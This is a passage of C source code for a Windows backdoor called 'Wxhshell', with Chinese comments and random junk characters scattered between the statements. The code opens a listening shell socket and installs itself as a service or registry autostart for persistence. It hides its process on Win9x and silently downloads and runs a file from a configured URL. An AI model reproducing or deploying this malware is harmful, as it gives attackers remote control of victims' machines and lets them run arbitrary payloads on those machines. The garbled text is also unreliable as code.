u[u=:Y+ ,b8AB_yw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \v<}{\.|$ if(!hProcess) return 0; R:E:Y|&# L xO'$oKZV if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0J"3RTt &W%TY:Da| CloseHandle(hProcess); _nt%&f !E8JpE|z# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~*qGH if(hProcess==NULL) return 0; E*$:~w spf}{o HMODULE hMod; ,o`qB81 char procName[255]; RL%{VE unsigned long cbNeeded; {>qCZ#E5WO i.]}ooI if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &N#)(rQ1 !
^W|;bq CloseHandle(hProcess); r]yq
#T`z ,^(T^ - if(strstr(procName,"services")) return 1; // 以服务启动 3y!CkJKv YY9q'x,w return 0; // 注册表启动 (.cT<(TB } d0,I] " "v06Fj>q // 主模块 )]}*oO int StartWxhshell(LPSTR lpCmdLine) A,osrv { h(fh |R< SOCKET wsl; #KwFrlZ BOOL val=TRUE; 9o6y7hEQy int port=0; *e R$ struct sockaddr_in door; mMR[( 9D@Ez"xv if(wscfg.ws_autoins) Install(); C<pF13*4 w?[)nlNW port=atoi(lpCmdLine); 1VeCAx[e otOl7XF if(port<=0) port=wscfg.ws_port; Ldu!uihx N\u-8nE5 WSADATA data; _VJb i,V if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -%A6eRShk &&JMw6
&[` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <:p&P setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /[IK[ door.sin_family = AF_INET; P_;oSN|> door.sin_addr.s_addr = inet_addr("127.0.0.1"); LZeR.8XM> door.sin_port = htons(port); BBX4^;t ~ M"[FYw[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +$9w[ARN+ closesocket(wsl); }K/[3X=B return 1; -vMP{, } 'K`)q6m #X)s=Y&5!T if(listen(wsl,2) == INVALID_SOCKET) { V3-LVgM% closesocket(wsl); a'|0e] return 1; k;)L-ge9 } \ l:n Wxhshell(wsl); f?]cW h% WSACleanup(); )z aMycW Vq*p?cF . return 0; Ai/#C$MY$ GV9"8MZ6 } .sLx6J% @{a(f; // 以NT服务方式启动 oyHjdPdY# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oxRu:+N { Qcw/>LaL: DWORD status = 0; k_skn3,u DWORD specificError = 0xfffffff; `@ObM[0p( {>i'Pb0mG| serviceStatus.dwServiceType = SERVICE_WIN32; v4&*iT serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5W'T7asOh serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R_^:<F0 serviceStatus.dwWin32ExitCode = 0; :( `Q4D~l serviceStatus.dwServiceSpecificExitCode = 0; .{Xi&[jw serviceStatus.dwCheckPoint = 0; k~?@~xm,R serviceStatus.dwWaitHint = 0; @a~K#Bvlm h_cZ&P| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FGZOn5U6' if (hServiceStatusHandle==0) return; *33Zt+ m^ILcp!
status = GetLastError(); i^n&K:6 if (status!=NO_ERROR) {{O1C~ { y.>r>o"0 serviceStatus.dwCurrentState = SERVICE_STOPPED; {U4%aoBd8 serviceStatus.dwCheckPoint = 0; h7*m+/ O serviceStatus.dwWaitHint = 0; $}&6p6| serviceStatus.dwWin32ExitCode = status; JsH9IK: serviceStatus.dwServiceSpecificExitCode = specificError; JeO(sj$e SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]@'YlPU return; ";jhj:Xj } 7~IAgjo,@ ICGBU>Db serviceStatus.dwCurrentState = SERVICE_RUNNING; FNUue serviceStatus.dwCheckPoint = 0; |ey6Czm serviceStatus.dwWaitHint = 0; 7==Uoy*O if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4g6d6~098; } eX=W+&lj AttDD{Ta // 处理NT服务事件,比如:启动、停止 Q%85,L^ U VOID WINAPI NTServiceHandler(DWORD fdwControl) lwK Au!l { I|p(8R! switch(fdwControl) 6VA@ ;g0$ { ^rx]Y; case SERVICE_CONTROL_STOP: UCl,sn serviceStatus.dwWin32ExitCode = 0; Q4UaqiL serviceStatus.dwCurrentState = SERVICE_STOPPED; O*30|[ serviceStatus.dwCheckPoint = 0; N~a?0x serviceStatus.dwWaitHint = 0; d9E:LZy { YS;Ql\4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); nY6^DE2f } gn'. 9";j return; 1(m89C[ case SERVICE_CONTROL_PAUSE: <%|2yPb] serviceStatus.dwCurrentState = SERVICE_PAUSED; ~*H!zKIx break; :HwB+Bjy case SERVICE_CONTROL_CONTINUE: 9XS'5AXN serviceStatus.dwCurrentState = SERVICE_RUNNING; |n~-LH++ break; pN?
case SERVICE_CONTROL_INTERROGATE: VG)kPKoi break; .aNy)Yu8 }; l2$6ojpo SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]/U)<{6 } :V8 \^ Ix}:!L // 标准应用程序主函数 Jz3u r)| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Og^b'Kx/ { `,xKK+~YG- gi~*1RIel; // 获取操作系统版本 0kmZO"K#e OsIsNt=GetOsVer(); 'sJYt^ GetModuleFileName(NULL,ExeFile,MAX_PATH); "/wZt c hMDy;oQ // 从命令行安装 AuWEy-q? if(strpbrk(lpCmdLine,"iI")) Install(); p6|0JBm 8eQ 4[wJY // 下载执行文件 F`+}p- if(wscfg.ws_downexe) { <$/'iRtRzW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
/djr_T WinExec(wscfg.ws_filenam,SW_HIDE); 66!cfpM } |h4aJv >}Fe9Y.o if(!OsIsNt) { X)x$h{ OE // 如果时win9x,隐藏进程并且设置为注册表启动 HOBM?|37CU HideProc(); EN'}+E
8 StartWxhshell(lpCmdLine); qE!.C}L+ } ,~>A>J else CB\E@u, if(StartFromService()) n](Q)h'nlo // 以服务方式启动 [O7:<co StartServiceCtrlDispatcher(DispatchTable); tWT@%(2~0 else ;(5b5PA // 普通方式启动 CWHTDao StartWxhshell(lpCmdLine); C/U^8,6\n 0"3l2Eo return 0; dJ#mk5=
" }
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